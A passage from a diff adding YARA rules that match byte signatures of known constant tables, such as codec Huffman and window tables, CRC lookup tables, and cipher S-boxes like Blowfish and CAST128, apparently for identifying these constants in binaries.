687249866016863678bbd6e670df195649e177464185b8f65928e826514c2796ad18cf06a57c00b6bdd15066b5b59fd68c8bf1c684ef3e769c426ea69426a116ee3eb286e65a7d36fef72de6f693e256cfad8c46c7c943f6df641326d700dc9727cdc2072fa90db737045d673f6092d7065efcc70e3a3377169763a71ef3ac1764ebbf876c8f7037742220e77c46ef57457881474d1c4ef755b11e275dd5d197a1813907a9e5f6b7b148a667b92c69d7801207c78876c87790db98a798bf5717e2a74487eac38b37f26edbe7fa0a1457c3347a47cb50b5f7d3fde527db992a9 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab8__16_lil_142_
+{
+strings:
+	$a0 = { BFFFC1FFC5FFD3FFE1FFEDFFF3FFF9FFFBFFFDFFFFFF5500540045005300FDFFFFFF350044002500FDFFFFFF520005001500FBFFFFFF5100FFFF34004300FDFFFFFF500033002400FBFFFDFFFFFF420014004100FDFFFFFF04004000FFFF23003200F7FFF9FFFDFFFFFF13003100FFFF030030002200FFFF02002000FFFF120021001100FDFFFFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__witab__16_lil_16_
+{
+strings:
+	$a0 = { 80FFC0032011C048C0482011C00380FF }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_11_tap_filter__flt64___64_big_88_
+{
+strings:
+	$a0 = { 3f805be332f08e893f94996b5f71c4c1bfa9ae41319ff2e4bfbfcd194c30b9d73fd2b2e90c9c79e83fe6a9af9d15122a3fd2b2e90c9c79e8bfbfcd194c30b9d7bfa9ae41319ff2e43f94996b5f71c4c13f805be332f08e89 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_24_128__avcodec___faad___32_lil_60_
+{
+strings:
+	$a0 = { 04000000080000000c0000001000000014000000180000001c000000240000002c00000034000000400000004c0000005c0000006c00000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4cd1__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000d14ca29973d5957f443337e6e6aa2afffbb38866592abf806ecc1d19cc5585b254fe272bf66710cdc181b2546318af4d7e010dd4dc983a32eb7e98ab49e7db290a6579b0a8fc4e569f1aeccf3d83f1d6209a534f820364a9b5e5c630177c5e9b8fd7fc022d4ecbe41aa8697db8317464a528d6fd07b1e11b3057438292ceb653671f14cac586232cf26081b550f99cac4de03e35ef7909d3d89fab4a7a0633e1e2ad91784034a69e77d20407d54b191ec852bb876acb8c615d2d2ef8ffb46d7abc36cfe31eaff80529495a9c8bd0478596c9e51c3450d2fa03b67063a12fe8c839844a519b1d7db7acfbdf2e0e62c237137b60aeb1e257488604f5d1249d6ca7bdebce3e1f72f9d828945b418a0d46589714e4c1358dd327026b71bea0f2e91538594b8c9ac07c6aad26def30fbfc3ea12a66173b03f569587d9f40c2540b78e66c21517c45b22f1f3bd806851249d714c3d3fe8eea4080ed942aa977bdb323ce37090a541e9a743760f05dad49618c3c98fba5a6b168dbc5cf02f25fe69daf40bb8786da9214f8b9ec7ed123c5ef00b2147529283de6574b438c7ed16a15f468e0afddf2c93ca391b7568a0b9ec75b9a4f5d720066ce0c6318a425f931301ddd091a344720894a245ee363be7772b22fa6e89bb58f7be5d6f111cc4cd88846f552326f6f7ba1110c05cb38962c5ae907fdc0c09dd453befeaa39976483a }
+
+condition:
+	$a0
+}
+
+	
+rule MBC2__bit_position___32_big_AND_
+{
+strings:
+	$a0 = { 80000000[0-20]0000001f[0-20]40000000[0-20]0000001e[0-20]20000000[0-20]0000001d[0-20]10000000[0-20]0000001c[0-20]08000000[0-20]0000001b[0-20]04000000[0-20]0000001a[0-20]02000000[0-20]00000019[0-20]01000000[0-20]00000018[0-20]00800000[0-20]00000017[0-20]00400000[0-20]00000016[0-20]00200000[0-20]00000015[0-20]00100000[0-20]00000014[0-20]00080000[0-20]00000013[0-20]00040000[0-20]00000012[0-20]00020000[0-20]00000011[0-20]00010000[0-20]00000010[0-20]00008000[0-20]0000000f[0-20]00004000[0-20]0000000e[0-20]00002000[0-20]0000000d[0-20]00001000[0-20]0000000c[0-20]00000800[0-20]0000000b[0-20]00000400[0-20]0000000a[0-20]00000200[0-20]00000009[0-20]00000100[0-20]00000008[0-20]00000080[0-20]00000007[0-20]00000040[0-20]00000006[0-20]00000020[0-20]00000005[0-20]00000010[0-20]00000004[0-20]00000008[0-20]00000003[0-20]00000004[0-20]00000002[0-20]00000002[0-20]00000001 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_48_128__avcodec___faad___32_lil_56_
+{
+strings:
+	$a0 = { 04000000080000000c00000010000000140000001c000000240000002c000000380000004400000050000000600000007000000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_B__16_lil_16_
+{
+strings:
+	$a0 = { 00000000000800F65E0000F9ABFE88FB }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_32__flt32___32_lil_128_
+{
+strings:
+	$a0 = { 47b1b738465d743a6177523b03ba043cb1478c3c025e033d3f96603d7474b23d5b6b053e42553d3ec850803eeef4a63e7e5fd13e0becfd3e4f59153facde2a3f16a13e3fa3eb4f3f934c5e3fdc9d693fc701723f84d4773f0a967b3f59d17d3fba067f3f699d7f3f49de7f3f64f67f3fd9fd7f3fa9ff7f3ff9ff7f3f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks0_table__32_big_1024_
+{
+strings:
+	$a0 = { d1310ba698dfb5ac2ffd72dbd01adfb7b8e1afed6a267e96ba7c9045f12c7f9924a19947b3916cf70801f2e2858efc16636920d871574e69a458fea3f4933d7e0d95748f728eb658718bcd5882154aee7b54a41dc25a59b59c30d5392af26013c5d1b023286085f0ca417918b8db38ef8e79dcb0603a180e6c9e0e8bb01e8a3ed71577c1bd314b2778af2fda55605c60e65525f3aa55ab945748986263e8144055ca396a2aab10b6b4cc5c341141e8cea15486af7c72e993b3ee1411636fbc2a2ba9c55d741831f6ce5c3e169b87931eafd6ba336c24cf5c7a325381289586773b8f48986b4bb9afc4bfe81b6628219361d809ccfb21a991487cac605dec8032ef845d5de98575b1dc262302eb651b8823893e81d396acc50f6d6ff383f442392e0b4482a484200469c8f04a9e1f9b5e21c66842f6e96c9a670c9c61abd388f06a51a0d2d8542f68960fa728ab5133a36eef0b6c137a3be4ba3bf0507efb2a98a1f1651d39af017666ca593e82430e888cee8619456f9fb47d84a5c33b8b5ebee06f75d885c12073401a449f56c16aa64ed3aa62363f77061bfedf72429b023d37d0d724d00a1248db0fead349f1c09b075372c980991b7b25d479d8f6e8def7e3fe501ab6794c3b976ce0bd04c006bac1a94fb6409f60c45e5c9ec2196a246368fb6faf3e6c53b51339b2eb3b52ec6f6dfc511f9b30952ccc814544af5ebd09bee3d004de334afd660f2807192e4bb3c0cba85745c8740fd20b5f39b9d3fbdb5579c0bd1a60320ad6a100c6402c7279679f25fefb1fa3cc8ea5e9f8db3222f83c7516dffd616b152f501ec8ad0552ab323db5fafd23876053317b483e00df829e5c57bbca6f8ca01a87562edf1769dbd542a8f6287effc3ac6732c68c4f5573695b27b0bbca58c8e1ffa35db8f011a010fa3d98fd2183b84afcb56c2dd1d35b9a53e479b6f84565d28e49bc4bfb9790e1ddf2daa4cb7e3362fb1341cee4c6e8ef20cada36774c01d07e9efe2bf11fb495dbda4dae909198eaad8e716b93d5a0d08ed1d0afc725e08e3c5b2f8e7594b78ff6e2fbf2122b648888b812900df01c4fad5ea0688fc31cd1cff191b3a8c1ad2f2f2218be0e1777ea752dfe8b021fa1e5a0cc0fb56f74e818acf3d6ce89e299b4a84fe0fd13e0b77cc43b81d2ada8d9165fa2668095770593cc7314211a1477e6ad206577b5fa86c75442f5fb9d35cfebcdaf0c7b3e89a0d6411bd3ae1e7e4900250e2d2071b35e226800bb57b8e0af2464369bf009b91e5563911d59dfa6aa78c14389d95a537f207d5ba202e5b9c5832603766295cfa911c819684e734a41b3472dca7b14a94a1b5100529a532915d60f573fbc9bc6e42b60a47681e6740008ba6fb5571be91ff296ec6b2a0dd915b6636521e7b9f9b6ff34052ec585566453b02d5da99f8fa108ba47996e85076a }
+
+condition:
+	$a0
+}
+
+	
+rule Lame_abr_switch_map__8_byt_952_
+{
+strings:
+	$a0 = { 08000000090000000900000000000000000000003333d34000001143000000003333733f000000000000f0c10000304152499d3a0100000010000000090000000900000000000000000000003333d34000001143000000003333733f000000000000c8c1000030416f12833a0100000018000000090000000900000000000000000000003333d34000001143000000003333733f000000000000a0c1000030416f12833a0100000020000000090000000900000000000000000000003333d34000001143000000003333733f00000000000070c1000030416f12833a0100000028000000090000000900000000000000000000003333d34000001143000000003333733f00000000000020c100003041faed6b3a0100000030000000090000000900000000000000000000003333d34000001143000000003333733f00000000000020c100003041faed6b3a0100000038000000090000000900000000000000000000003333d34000001143000000003333733f000000000000c0c00000304117b7513a0100000040000000090000000900000000000000000000003333d34000001143000000003333733f00000000000000c00000304117b7513a0100000050000000090000000900000000000000000000003333d34000001143000000003333733f0000000000000000000000413480373a0100000060000000090000000900000000000000000020403333d34000001143000000003333733f000000000000803f0000b04052491d3a0100000070000000090000000900000000000000000010403333d34000001143000000003333733f0000000000000040000090406f12033a01000000800000000900000009000000000000009a99f93fcdcccc4000000c43000000003333733f00000000000040400000804017b7513901000000a0000000090000000900000001000000b81ee53f0000c04000000743000000003333733f000000c00000a040000060400000000001000000c000000009000000090000000100000052b8be3f3333b3400000fa4200000000ec51783f000080c00000e040000040400000000000000000e00000000900000009000000010000000000a03f6666a6400000fa420000000048e17a3f0000c0c00000104100000040000000000000000000010000090000000900000001000000ec51783f6666a6400000fa42000000000000803f000000c1000020410000803f0000000000000000400100000900000009000000010000006666663f6666a6400000fa42000000000000803f000020c100004041000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xcb61b38c__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000cb61b38c5da2d49496c36718bb45a92870241aa4e6e77dbc2d86ce30bdeae1dc768b5250e04835482b2986c406af48f4cdcefb785b0d9c60906c2fecb0b470347bd5c3b8ed16a4a02677172c0bf1d91cc0906a9056530d889d32be040d5e91e8c63f226450fc457c9b9df6f0b61b38c07d7a8b4cebb9ec5420d85fd8aa0953e46168e068f7ab87703cca34fc114cfaccda2d49404cee2e58878f9dd417e3b238dc8201b44a4166ac8120d520aca61b1067c7a89cf104cf843a657c081abd23d0d1dc905c471ff7448c7e44c8a1f88af86a993974fc5a5e6c373bede0a757c20c6c367180faf516983194a5141c126b24d773d8a841b0bfb08ad10c3c9f7314445412a7c8c2d1c0d009b0735c2436bd6cef570ee0799469f8b2f5da742299f598e9f846147f3b210cb45a928099dc5cb052bdef3cc47e88240f1f3ba82fc76470e4a6d7fc7265b0e4b90403689482cd585fe37ed4c92019cc0241aa40922d85ac594c3620cf8f513804eee2b429682c84e2099f0874caf810bfab4b9c357a47a0fe1bf42c68d89334a3b920b88e3fee88455e5d04d39d3a1c18fc89908890a67c43f115f0d53272e81e53c16433d50f54f8b4bcd86e77dbc0a516684c85ce37944eaf8418d86ce300130d508c3e8b9ebcf5ea2d3063294a28a848f9a43824d648f34565c4658602dcaee7b15083617f604800ccecdec3abf415a21878f5879b043ee62888a8254f906344fc1c4ec2322c85a381a01360e6b8d8015534486d7ad8830cc95415cfae4cdeae1dc0f328d3f03849607cae8a076465ebb4e84533eb308e5258bc18913fa4d3f08c28fe7642183517f194a3d4968c68b52500f8d90aec33b8b960a57bde786e1a6df4439ca3c488fd10481e3e7750d55fc4dc5f8ec8e094ef7b6c022c1c74c94daff8e4cb61c82faad244b969b55c720806d0e264293c29059ab0bfc6fda874a74e24592180149240339804835480cfe2e70cef3ab8d4245b0b58b2986c4079f9dfcc547f11fc9f1ea27009ddc568c2bc76e452d0590899b1ea840f728d9cc4133e10e995f02022f443acb43724b47f5697386af48f40a1953ccc37565bd4fc37e858d1b126681ad095e48c13f2fc47724170d71e6e9c1c7fdd108abcba0841dd09846c5bc7b4a73a743831f91320fa98a0acda40ff7411214cf887e22be04c83986c6105565caa64e5d03ca782c8f7c6314467aa1ea8accbad243a08ca3cf16979b0dcefb780178e040c814d63144a2cd098c0fddca40b9c6f289d5f0830563ebbbc7bb8758cb0d9c600261aa118ed7b12947d173d78b6768ef420b5e9ecebd45a60c65294500d3327dc9bf040c45091f3487049ac90bb281f1c2deb7804e68acb88cb0c05b8006db63496aed12c5dcf62a0cda34d4c06c2fec0900199d85b602a5476e6e464bd8757e82b4430f0e025837c }
+
+condition:
+	$a0
+}
+
+	
+rule XXEncodeTable__8_byt_ASC_64_
+{
+strings:
+	$a0 = { 2b2d303132333435363738394142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_AA_N_scale_factor__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3ff00000000000003ff63150b14861ef3ff4e7ae914d6fca3ff2d062ef6c11aa3ff00000000000003fe92469c0a7bf3b3fe1517a7bc720bb3fd1a855de72ab5d }
+
+condition:
+	$a0
+}
+
+	
+rule Turing_Qbox__32_big_1024_
+{
+strings:
+	$a0 = { 1faa18874e5e435c9165c042250e6ef45957ee20d484fed3a666c5027e54e8aed12ee9d9fc1f38d449829b5d1b5cdf3c74864249da2e396328f4429fc8432c354af403259fc0dd70d8973ded1a02dc5ecd175b42f10012bf6694d78cacaab26b4ec11b9a3f168146c0ea8ec5b38ac28f1fed5c0faab4101cea2db082470929e1e71843de508299fce72fbc4b2e3915dd9fa803fa9546b2de3c2333420fcee7c324d607ef8f97ebabf37f859bcd1f2e2fc25b71da75e2269a1e39c3d1eda56b36f8c9def246c9fc5f1827b3a370a56ddf0d25b510000f85a7b2e82e7168cb88168f951e2a72f5f6afe4cbc2b3d34ff55d2e6b6214220b83e3d39ea6f56fe041af6b2f1f17ad3b99ee16a65ec0757016c6ba7709a4b0326e01f4b280d94bfb1418d6aff227fd548203f56b9d966717a8c000d5bf6e10ee7888edfcfe641ba193cd4b0d018489ae49301c014f3682a870885ead6c2aef22c67831204de7c9c2e759d200248e303b446bb00d9fc29914a895906cc3a154fef17034c19155e27b8a66131b5e69c3a8623e27bdfa3597f068ccca3a6acd4b55e93686602db951df13c1390bb16d5a80b83c22b2376339d8a9112cb6bc13bf5579d76c5c2fa8a8f4196ebcdb54766864a866416e16ad897fc515956feb3cf6c8a306216799d9171a91336c2466dd75eb5dcddf118f50e4afb22626b9cef3adb361898a7a19b1e2c73084f77ded5c8b8bc58f06dde421b41e47fbb1cc715e68c0ff995d122f0fa4d25184097a5e6c0cbf18bcc2d7c6e08bb7e420a11f523f35d9b8a203da1a6b06888c027dd1e3546bba7d7932cc7753e52d9655a9829da1301590a79bc1c14913537f1cd3779b692d71f2b7183c58faacdc44188d8c8c762620d9f071a80d4d7a74c473449410e9a20e4211f9c8082b0a6b334ab5f68ed28243cc1b453c0ff39be564a04ff55a4f8740f8e7cca7f15fe300fe21786d37d6dfd506f18ee0097317bbde367a670fa85c31ab9ed4dab618cc1f52f5e358eb4f19b9e3433a8d77ddcdb93da6140fd52d395412f82ba6336037e53ad080700f1c7624ed0b703dc1ecb7366795d6549d1566ce46d7d17abe76a448e0a028f07c02c31249b76e9ed6baeaa47f78bbcfffbdc507ca84e965f4da8e9f35da6ad2aa44577452acb5d674a75461a46a6763152a9c12b7aa126159277b4fb118c351758d7e81687b5f52f0b32d4254edd4c772710431acabbef94aecfee994cd9c4d9e81ed623730cf8a21e851917f0ba7a9b5d6b297adf8eed3043168cac921f1b35d467a430a36511940229abca65e85ec70ba39aea8cc737bae8b582924d503098a5a92396b8118de2522745c1cb8a1b8fe1d5db3c69729164f8397c163768419224c21203b35833ac0fed966a19aaaf0b24f40fda998e7d52d71390896a8cee6053fd0b0d300ff99cbcc065e3d40 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_wma_lsp_codebook__flt64___64_big_1088_
+{
+strings:
+	$a0 = { 3fffcc194098cc6a3fffabced05d251f3fff8c7498026abe3fff66d503a8003a3fff34c5949f33e23ffeef0c173a84353ffe83dc181951603ffdca667de35aae3fff8fc504816f003fff5f90f4af69e53fff327c99d9856d3fff024cec16e9fc3ffecd7af28f7f0e3ffe8fc71ab1313b3ffe46f4ce9e89183ffdf1a8033ecec83ffd87c662d059ca3ffd046d2a24ec9e3ffc6b516cda1dee3ffbb8f1f9820c8a3ffadd81783aa4413ff9c0e24b0e463f3ff821fb82c2bd7f3ff54c9bd4dd3c873ffe6ade805377763ffdd651f697cc653ffd58dea63e17be3ffcd3b325b1c0573ffc4396b868bcad3ffba68e74a2694c3ffaf5dedf1e08293ffa32b80e23da253ff95c39870a4add3ff84987d64daa023ff6fd2102d9fa073ff56e9dafa8cf983ff3de41ea3034fc3ff1f6330fccd1aa3feef5bb98f2d5a03fe7b208aba02c5b3ffc4f9ee431426d3ffada0211d311353ff99767323e40ad3ff891d7688727fd3ff798675fb59d303ff697f7ebb46e873ff58582b65338b73ff45fd382489a233ff316af2922e4063ff18ffb37ef2fa33fef9f3ace07347d3febeaa7c95d2baa3fe7cc5293f697763fe32035aa86d1c13fdba0bf932866513fc702b5d25f5ddf3ff6f2d33eabe2473ff5204a7da7a0983ff35f31ceda183a3ff1b1463e52cc003ff01702556fc9113fece851a30adc7d3fe9bd7068c8c14f3fe6a0894791e4ef3fe3563652a264433fdfe1889b9a7ac03fd8a5672278fbbf3fd1592d98bf7f063fc27105a6b307aa3f6203d8d2948ceabfc5687e84147730bfd7a39bb0cb0e873feff77465d876fa3feaf0b1ce99ab8d3fe6a42573d7e90b3fe287b550af44fd3fde1d955c731d843fd7a8aae444b8973fd12b472b8da26a3fc5f818aaf1b0b23fb274177ef7accabf9f5d4d8dfd5932bff667ee710c5cb0bfd015214f5b070dbfd7d121a5ed0f0dbfe0581dee7d76a3bfe4c395c172d184bfe9b2d57a705e8d3fd0f843731c574f3fb029a616aa9164bfb6b668067996c5bfcb0335ea72a50ebfd3e274bf44a3f4bfd965395ff304c5bfde39180f1571acbfe1555f27adc3f3bfe3a98d98039764bfe60fd6b253cfb6bfe881736d350ca7bfeb412213fc0b54bfee7e1472d3b219bff10ad79cb48127bff3481e59dd410ebff604d2a80313dcbfe142ca19ea0bf8bfe79b5083502c12bfec4bc40e37504ebff02dca587e4657bff2246acb7ae829bff44af5b4cd7ca0bff6ba0a2f83d130bff9ece8c957a253bff1a01ad2943704bff2a45acdd6e2fbbff3bbe385f6cf80bff4ddc61c0396b8bff606b0734fd8dbbff77f222c7ab24ebff9385a49a28b5bbffab3f6a2334629bfd8b48d1ab02f88bfe1ec493426783abfe56ee098869f16bfe8544099a329bbbfead4ab68791037bfed13e9e764d394bfef2bbc4bcb2f94bff097587c17fe79bff8fbb2e13e48e6bffa8d114b010539bffba15e97650bf3bffc750d936679b2bffd27090b6c6fc0bffdcb930e3a2a73bffe72082d7604eabfff2bd8c92f5e67 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h261_cbp_tab__8_byt_126_
+{
+strings:
+	$a0 = { 0b0509050d060d04170713071f080c04160712071e0813051b08170813080b04150711071d0811051908150811080f060f080d0803090f050b08070807090a04140710071c080e060e080c08020910051808140810080e050a080608060912051a08160812080d050908050805090c0508080408040907030a0508050c06 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xe03__16_big_refl_False_
+{
+strings:
+	$a0 = { 00000e031c061205380c360f240a2a0970187e1b6c1e621d4814461754125a11e030ee33fc36f235d83cd63fc43aca3990289e2b8c2e822da824a627b422ba21ce63c060d265dc66f66ff86cea69e46abe7bb078a27dac7e867788749a7194722e53205032553c56165f185c0a59045a5e4b5048424d4c4e664768447a41744292c59cc68ec380c0aac9a4cab6cfb8cce2ddecdefedbf0d8dad1d4d2c6d7c8d472f57cf66ef360f04af944fa56ff58fc02ed0cee1eeb10e83ae134e226e728e45ca652a540a04ea364aa6aa978ac76af2cbe22bd30b83ebb14b21ab108b406b7bc96b295a090ae93849a8a99989c969fcc8ec28dd088de8bf482fa81e884e6872b89258a378f398c13851d860f8301805b91559247974994639d6d9e7f9b7198cbb9c5bad7bfd9bcf3b5fdb6efb3e1b0bba1b5a2a7a7a9a483ad8dae9fab91a8e5eaebe9f9ecf7efdde6d3e5c1e0cfe395f29bf189f487f7adfea3fdb1f8bffb05da0bd919dc17df3dd633d521d02fd375c27bc169c467c74dce43cd51c85fcbb94cb74fa54aab4981408f439d469345c954c757d552db51f158ff5bed5ee35d597c577f457a4b7961706f737d7673752964276735623b6111681f6b0d6e036d772f792c6b29652a4f23412053255d26073709341b3115323f3b3138233d2d3e971f991c8b19851aaf13a110b315bd16e707e904fb01f502df0bd108c30dcd0e }
+
+condition:
+	$a0
+}
+
+	
+rule Virtools__crypted_files_decrypter_key__32_lil_64_
+{
+strings:
+	$a0 = { 9d0000000b000000080000005b000000d4000000130000007700000060000000e7000000100000003f0000000a0000002c00000055000000b80000000a000000 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_3__16_lil_386_
+{
+strings:
+	$a0 = { 0040e83ed13dba3ca43b8f3a7a396738543743363435263419330f320531ff2ff92ef52df12cf22bf42afa2901290e281b272c263e25572470239022b021d620fc1f221f481e731d9f1cd31b071b441a8119c318061852179e16f2154615a214ff135d13bb1222128a11f9106910e10f590fd60e550edb0d610dee0c7c0c0e0ca00b320bc40a5a0af1098f092e09d4087a082508d00781073307ea06a20660061e06dd059c0560052405ed04b704850454042504f703cd03a3037d03570333030f03eb02c702a5028402660248022d021202f901e001ca01b401a0018c017a016801570146013601270119010b01ff00f300e800dd00d300c900c000b700ae00a6009e0096008e0086007e00770070006a0064005f005a00550050004c004800450042003f003c0039003600330030002e002c002a002800260024002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_sbox__8_byt_256_
+{
+strings:
+	$a0 = { 68d0eb2b489d6ae4e3a356817df1859e2c8e78ca17a961d55d0b8c3c775122423f544180cc86b3182e570662f436d16b1b657510da4926f9cb66e7baae5052ab05f00d733b0420feddf5b45f0ab5c0a071a52d607293390883215c87b1e000c312918a021ce645c2c4fdbf44a14c33c584237cb025153569ff944d70a2afcdd66cb7f809f367a4eaecb6d4d2141ee12438c6db4b7a3ade5edf95fcaad7ce070f3d589a989cf2a7117e8b4303e2dce5b24ec76de92740d837928f011d533e59c14f3216fa74fb639f341a2a5a8dc9cff69028889b310ebd4ae896a60cc879bcbeef6e46975bed19d9ac99a829641fad5513bbf76fb9472feeb87b8930d37f7682 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x76dc4190__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000009041dc762083b8edb0c2649bd047adad400671dbf0c415406085c93630ce862da08f5a5b104d3ec0800ce2b6e0892b8070c8f7f6c00a936d504b4f1b609c0d5bf0ddd12d401fb5b6d05e69c0b0dba0f6209a7c809058181b0019c46d50528b76c013570070d1339be090efed801526db1054faada0969e3630d74240c0381bb65079c7c0e0bba35b70fa7f2d107fb61b803e6a6d30fc0ef6a0bdd280f0f69d9b60b741edd07525764034f90020b13036b0f0ec40003288db907354ada0a416ed30e5ca9b8027ae001066727670e3bb40e0a26736506003adc021dfdb906a90c0002b4cb6b0e9282d20a8f45b402d3d6dd06ce11b60ae8580f0ef59f61030ea1a8071366c30b352f7a0f28e81c07747b750369bc1e0f4ff5a70b5232c20fe6c37b0bfb041007dd4da903c08acf0b9c19a60f81decd03a7977407ba50170ace741e0ed3b37502f5facc06e83daa0eb4aec30aa969a8068f20110292e774062616cd023bd1a60e1d981f0a005f79025ccc1006410b7b0a6742c20e7a85ad008f1ac40492ddaf08b494160ca9537004f5c01900e807720cce4ecb08d389ae0c677817087abf7c045cf6c5004131a3081da2ca0c0065a100262c18043beb7b094fcf720d520819017441a0056986c60d3515af0928d2c4050e9b7d01135c1805a7ada101ba6aca0d9c23730981e41501dd777c05c0b01709e6f9ae0dfb3ec2060d435b021084300e36cd890a2b0aef02779986066a5eed0a4c17540e51d0310ae521880ef8e6e302deaf5a06c3683c0e9ffb550a823c3e06a4758702b9b2e40fcd96ed0bd0518607f6183f03ebdf590bb74c300faa8b5b038cc2e2079105870325f43e073833550b1e7aec0f03bd8a075f2ee30342e9880f64a0310b79675e058cf83701913f5c0db776e509aab18301f622ea05ebe58109cdac380dd06b5d09649ae40d795d8f015f14360542d3500d1e4039090387520525ceeb013809880c4c2d810851eaea0477a353006a64350836f75c0c2b3037000d798e0410beeb00a44f5204b98839089fc1800c8206e604de958f00c352e40ce51b5d08f8dc330503e2fa011e25910d386c280925ab4e017938270564ff4c0942b6f50d5f719009eb80290df6474201d00efb05cdc99d0d915af4098c9d9f05aad42601b713450cc3374c08def02704f8b99e00e57ef808b9ed910ca42afa00826343049fa426002b559f043692f40810db4d0c0d1c2b04518f42004c48290c6a01900877c6ff06825996029f9efd0eb9d7440aa4102202f8834b06e544200ac30d990edecafc0a6a3b450e77fc2e0251b597064c72f10e10e1980a0d26f3062b6f4a0236a8290f428c200b5f4b4b077902f20364c5940b3856fd0f2591960303d82f071e1f4a03aaeef307b729980b9160210f8ca74707d0342e03cdf3450febbafc0bf67d9 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_lookupmasks__16_big_24_
+{
+strings:
+	$a0 = { 003606c069005048210684118601482810c429809011022a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_gain_1st_8k__16_lil_32_
+{
+strings:
+	$a0 = { aa0cdd260f067909760a1a6a81074b2427079e130100ec056401a43939001c15 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_kq__32_lil_16_
+{
+strings:
+	$a0 = { 8c68059babd9831f19cde05b5d9dbbcb }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab2__16_big_34_
+{
+strings:
+	$a0 = { FFF1FFF5FFF7FFFBFFFDFFFF002200020012FFFF002100200011FFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox7__32_lil_1024_
+{
+strings:
+	$a0 = { 1940e08567f52b33ffbf2d669356c6cf6f7f8d2a12c99baba10860de1fda2820e7bc27021629644d00c3fa18828bf15011cbb22c5ce732b2f295364bde0787b2f6bc5fa0e98141cd0c2150e1bdf14ee281c368b189e7e4fdd8b0795c43fd8b1e0150494d4143be381dee3c913f9ca792be669708f4adeebacfbe861219cbeab600c26026e4bd65757a1f2464a9dc488266adb3c386601328a8dfd80bf21c6d35be897710cee9b2b38faa02051e35c00b2af56b1682ff12eb116948e316754dd3ff3a7b4e1b67435f37e0f69c83ac8149ce664233b741938cc054d8d0886c3acb2928bc4737ba25472bd26aa61e1fd67afaba5c0c07f137446299e7b616d8d2428812960a6ec0a5e1679e74131a08fc72f739d1b1453758f958df19cf56f7c3be30ba6ec0241b21072988c2457f315ec911c58ebce946bc3814fae6c64a58e8ba46bc4ead8b508f465f4329783b1824f19fba1d82f40ff6af6d4e2cea6492e3168b4a5492c34f9b00ed8ca6ab786fc99a9ab7a5066e6e85b2a93cec1a888683bee904080e56bef1553b36e5e75df2a1b385bbdef73c03fe6133627416284c033c740c6dda6cc5aa79ade1e43c02c8f0515af3f8989fa42616292bd8eee32f381d9ab94f0c785732bb7bd9c63ea9a6776e5c8b65cbc73052d48b40d12bb73ec060788d06b9f45437a37dc830f40213a7c8328c6db9bee7d4eb2d9d8bbe06fb7979085322e777cf758ba48def1158c883e06f786b8da617635aa0f75cfa3300da5db0bf8ef210c3b9f580c2eaa07a76b908b0d2d9a31742d3798d711a026a33c69a60fd1127e3508043a8089906c4ed7f3def2b6d827684eb4e25cf8d4866d5c936414ee728ca0a61c2cfa9493ddfb9e3bae68d5fb664afae92e6d5c73a0905a89e7d012bf2703f17a4c3161eddf9d7e01587b8b150d54f9f2b82ba5a626279016a9c1bc02ea98a481540e716d72c5a0540229ad2939abf2de3b94587051edc53346e2999d66fff6c4986499f1c07ede2dfd14272b8ae7ede191a563e058c6fad151c6c62664cc254712a2b08ea3929eb93f0b0dc17aef2d458fb94a29e4c56cf5266fe83988105c42ec35339762e69d60108c1a0d30e16e7a1a6dff2e485d23e6998469074dd0e2b4c5676754f7833395d4f2332a15d1c323d94e1f5c30193264b2f029fc77e7e993c04954f5ebdfbfa3f0eadf776f49366296fce1f3dbe451ec634abb5d3b7f92bf7c034041b67b5724e3da39255019322b57fa8d2cf67b7ae606b3814183dc3bc307dc0a038f20616fd9b5163c390d39d58e6f8795447d6b81ca961fd97f45977ea9d53572dcf589a56ad634ee8781b2e467ef88065147981f3f455da91f330a240358f98d1d218e3b6bc50fa3f21f0403daebdc0c34cc25849b2368f5170d3b18483ceed0fdada8d87c779a2f2e81be0944b6f7190a38a4b95 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0xa001__16_lil_refl_True_
+{
+strings:
